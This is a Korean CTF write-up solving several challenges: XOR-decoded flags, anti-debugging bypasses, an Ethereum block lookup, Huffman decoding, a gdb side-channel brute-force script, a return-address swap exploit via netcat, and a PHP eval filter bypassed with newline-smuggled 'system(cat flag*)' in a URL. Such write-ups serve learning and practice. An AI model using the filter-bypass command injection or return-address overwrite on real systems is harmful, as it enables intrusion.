sanity check문제이다. 사이트가 닫혀서 플래그는 기억이 나지 않는다.
flag{????????}
rot거나 걍 단순 치환일거 같아서 "https://quipqiup.com/" 여기다가 돌렸는데 플래그가 나왔다. 플래그는 기억나지 않는다.
flag{????????}
C#으로 코딩되어있다.
dotpeek C# 디컴파일러로 분석해보면 "AKF@|D$D$D$D$z" 이 값에 각각 7을 xor한게 플래그라는 것을 알 수 있다.
''.join(chr(ord(i) ^ 7) for i in "AKF@|D$D$D$D$z")
FLAG{C#C#C#C#}
IsDebuggerPresent함수로 안티디버깅을 하고있다.
"AKF@|chX~hrXlihpXfisn8z" 이 값에 어떤 값을 xor해서 키를 비교한다.
IsDebuggerPresent함수가 0을 반환하게 만들면 xor키가 7이 되므로 이렇게 하면 된다.
''.join(chr(ord(i) ^ 7) for i in "AKF@|chX~hrXlihpXfisn8z")
FLAG{do_you_know_anti?}
소스가 주어진다. 몇몇 키워드를 필터링해 eval을 해준다.
preg_match를 이용해서 필터링 하는데 옵션이 적용이 안되있어서 개행문자로 우회 가능하다.
view-source:http://ctf.layer7.kr:6001/?eval=system(%0a%22%0acat%20flag*%0a%22%0a);
flag{flagflagflagflagfalgflagaflaglafg}
사진에 있는 주소를 찾아가면 된다.
block 4298268이라고 사진에 적혀있으므로 "https://etherscan.io/block/4298268" 여기로 찾아갔다.
60개의 트랜잭션이 있는데 self로 보낸 트랜잭션의 Input Data를 보면 플래그가 있다.
("https://etherscan.io/tx/0xf5012bc1ff1ab7b899f88605b50ab34fa7980bba754ada1272366e647be14bb0")
flag{Wow_I_Am_th3_Ethereum_H4Cker_JuN0}
처음엔 이게 뭐하는건가 싶었는데 swap을 엉뚱하게 해서 리턴 주소를 swap시킬 수 있다.
swap함수를 호출하고 리턴할 주소가 4196575(0x4008DF) 이므로 이 값을 flag를 주는 함수 주소인 4196102 (0x400706)로 swap 시키면 된다.
itaeyang-ui-MacBook-Pro:Desktop 5unkn0wn$ nc ctf.layer7.kr 7001
n1 value >>> 4196102
n2 value >>> 4196575
before swap 4196102 4196575
flag{UNSAFE_SWAP-_-}
flag{UNSAFE_SWAP-_-}
첫 번째 입력하는 key랑 두 번째 입력하는 flag 모두 알아내야 한다.
첫 번째 키는 ptrace이용해 안티디버깅 하고 나서 단순 xor만 해서 비교한다.
구하면 harder이 나온다.
flag연산은 ror이랑 xor 어려운 방식으로 구현해 놓은 코드가 나오는데 굳이 분석하기 귀찮아서 옛날에 다른 문제 풀 때 짜둔 gdb를 이용한 사이드 채널 공격 소스 이용해서 풀었다.
import string
from pwn import *
peda = "gdb-peda$ \x01\x1B\x5B\x30\x6D\x02"
def send_cmd(cmd):
p.sendlineafter(peda, cmd)
p = process(["gdb", "-q", "./EZpie_dc2a8e606a48412d8687d46ccc7c60ef"])
table = '_}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^`{|~ '
flag = "flag{"
flag_len = 37
send_cmd("b *0x000000000400A03") # compare routine
for i in range(len(flag), flag_len): # side channel attack
for j in table:
print j,
side = flag + j + ('_' * (flag_len - len(flag) - 1)) + '}'
send_cmd("r")
p.sendline("harder")
p.sendline(side)
for k in range(len(flag) + 1):
send_cmd("c")
p.recv(1024)
data = p.recv(1024)
if "Flag Erorr" not in data:
flag += j
print flag
break
print flag + '}' # flag{qjrjzlddms_durtl_ahsqprk_chlrhek}
flag{qjrjzlddms_durtl_ahsqprk_chlrhek}
argv[1]에 넣은 파일에서 한 줄을 읽어서 암호화해서 compress파일에 저장한다.
빈도별로 어떤 테이블을 따라서 각 글자들을 특정 값의 이진수로 바꾸고 모두 붙여서 8비트씩 끊어 테이블과 함께 저장한다.
처음에는 이게 뭐하는건지 몰라서 그냥 삽질했다.
import struct
u32 = lambda x : struct.unpack("<L", x)[0]
with open("flag", "rb") as f:
enc = f.read()
enc = enc[3:]
bit_list, data = enc.split('\xcdST')
bit_list = [u32(i) for i in map(''.join, zip(*[iter(str(bit_list))] * 4))]
bit_dict = {}
for i in range(0, len(bit_list), 2):
bit_dict[chr(bit_list[i])] = bin(bit_list[i + 1]).replace('0b', '').zfill(4)
enc_data = ''
for i in data:
enc_data += bin(ord(i)).replace('0b', '').zfill(8)[::-1]
print bit_dict
print enc_data
이렇게 코드 짜서 이진수 값 알아냈는데 약간씩 어긋나는 값이 있어서 걍 손으로 삽질해서 다 찾았다.
그렇게 조금씩 어긋나던 이진수 테이블 값을 다 알맞게 고치고 소스 짜서 한번에 복호화 했다.
import struct
u32 = lambda x : struct.unpack("<L", x)[0]
with open("flag", "rb") as f:
enc = f.read()
enc = enc[3:]
bit_list, data = enc.split('\xcdST')
bit_list = [u32(i) for i in map(''.join, zip(*[iter(str(bit_list))] * 4))]
# bit_dict = {}
# for i in range(0, len(bit_list), 2):
# bit_dict[chr(bit_list[i])] = bin(bit_list[i + 1]).replace('0b', '').zfill(4)
bit_dict = {'10110001': '-', '10110000': ',', '10110100': '}', '10110101': 'S', '010': 'a', '111': ' ', '1010110': '.', '011011': 'u', '011010': 'g', '10101111': 'C', '10101110': 'x', '01100': 'd', '0000': 'r', '0001': 'i', '1010100': 'w', '10110111': 'm', '10110110': 'k', '001': 'e', '1011001': 'y', '10111': 'o', '01110': 'c', '01111': 'b', '11001': 'l', '11000': 'n', '101000': 'p', '1101': 'h', '10101010': 'z', '10101011': '{', '1000': 't', '1001': 's', '101001': 'f'}
enc_data = ''
for i in data:
enc_data += bin(ord(i)).replace('0b', '').zfill(8)[::-1]
plain = ''
for i in enc_data:
for j in bit_dict.keys():
if enc_data.startswith(j):
plain += bit_dict[j]
enc_data = enc_data[len(j):]
print plain
풀고 보니까 허프만 부호화였다.
flag{i hate huffman}